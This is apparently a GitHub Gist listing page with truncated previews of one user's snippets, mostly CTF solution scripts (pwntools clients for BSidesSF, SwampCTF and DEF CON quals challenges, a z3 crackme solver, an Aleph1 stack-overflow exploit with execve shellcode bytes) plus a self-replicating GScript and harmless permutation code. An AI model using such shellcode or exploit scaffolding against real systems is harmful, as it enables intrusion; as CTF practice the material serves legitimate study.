Skip to content

Instantly share code, notes, and snippets.

@vitapluvia
vitapluvia / intel-coder-client.py
Created April 26, 2018 04:06
BSidesSF CTF 2018 - Intel Coder Solution
#!/usr/bin/env python
from pwn import *
if args.LOCAL:
p = process(['./coder'])
else:
p = remote('intel-coder-d95049.challenges.bsidessf.net', 8086)
context(terminal=['tmux', 'split'], bits=64, arch='amd64')
gdb.attach(p, 'stepi')
@vitapluvia
vitapluvia / solve-laz3y.py
Created April 19, 2018 05:43
Solution for laz3y (350) - Byte Bandits CTF 2018
#!/usr/bin/env python
from z3 import *
''' JS Code =>
190 value[29] == "!" && //X// payload[29] = '!'
191 value[4] == value[8] && //X// 08 & 04 = '_'
192 value[17] == "_" && //X// payload[17] = '_'
193 value[4] == "_" && //X// payload[4] = '_'
194 leng(value) && //X// len(payload) == 30
195 crypto(value) && //X// payload[18:29] == 0bfuscati0n
@vitapluvia
vitapluvia / power-client.py
Created April 2, 2018 08:30
Client for SwampCTF's Power QWORD challenge
#!/usr/bin/env python
import os
from pwn import *
from pwnlib.util.safeeval import const
libc = ELF('./libc.so.6')
context(terminal = ['tmux', 'splitw'])
context.bits = 64
if (args.DEBUG):
@vitapluvia
vitapluvia / hello.gs
Created December 1, 2017 03:19
Self-Replicating GScript
// genesis script
// Description: Simple self-replicating gscript
function BeforeDeploy() {
return true;
}
function Deploy() {
var self = ReadFile('./examples/hello.gs');
@vitapluvia
vitapluvia / aleph1-solution.py
Created November 19, 2017 20:14
Solution to Aleph1
#!/usr/bin/env python
import sys, time
from pwn import *
REMOTE = len(sys.argv) < 2
STACK_ADDR = 0x7fffffffddd8
SC = "\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x31\xc0\x99\x31\xf6\x54\x5f\xb0\x3b\x0f\x05"
if (REMOTE):
r = remote('35.205.206.137', 1996)
@vitapluvia
vitapluvia / permu.hs
Created July 3, 2017 01:47
permutations in haskell
import Data.List (nub)
disperse :: a -> [a] -> [[a]]
disperse value arr =
map (\(start, ending) -> start ++ [value] ++ ending) .
map (\char -> splitAt char arr) $ [0..length arr]
permu :: Ord a => [a] -> [[a]]
permu [] = [[]]
permu (x:xs) = concatMap (disperse x) $ permu xs
@vitapluvia
vitapluvia / permu.js
Created July 2, 2017 04:20
permutations
'use strict';
const permU = (ar) => {
if (ar.length <= 1) return [ar];
const first = ar[0];
const nPerm = permU(ar.slice(1));
return nPerm.reduce((acc, value) => {
for (let i=0; i <= value.length; ++i) {
const start = value.slice(0, i);
@vitapluvia
vitapluvia / mute.py
Created May 2, 2017 00:54
DEF CON CTF Quals 2017 - mute solution
#!/usr/bin/env python
import sys
import string
import datetime
import commands
from pwn import *
TIMEOUT = 3
SIZE = 0x7f
ASM_FILE = 'sleep-sc-output.asm'
@vitapluvia
vitapluvia / ca-str.py
Created November 18, 2016 02:29
Cellular Automata Characters
#!/usr/bin/env python
import string
import sys
def setup(rowSize, colSize):
mid = colSize / 2
board = [[0 for _ in range(colSize)] for __ in range(rowSize)]
board[0][mid] = 1
@vitapluvia
vitapluvia / lexicographic-permutations.py
Last active October 26, 2016 04:55
Permutations in Lexicographic Order
#!/usr/bin/env python
import math
import sys
# Based on Narayana Pandita's Algorithm
# =====================================
# - Find the largest index k such that ar[k] < ar[k + 1]. If no such index exists, the permutation is the last permutation.
# - Find the largest index l greater than k such that ar[k] < ar[l].
# - Swap the value of ar[k] with that of ar[l].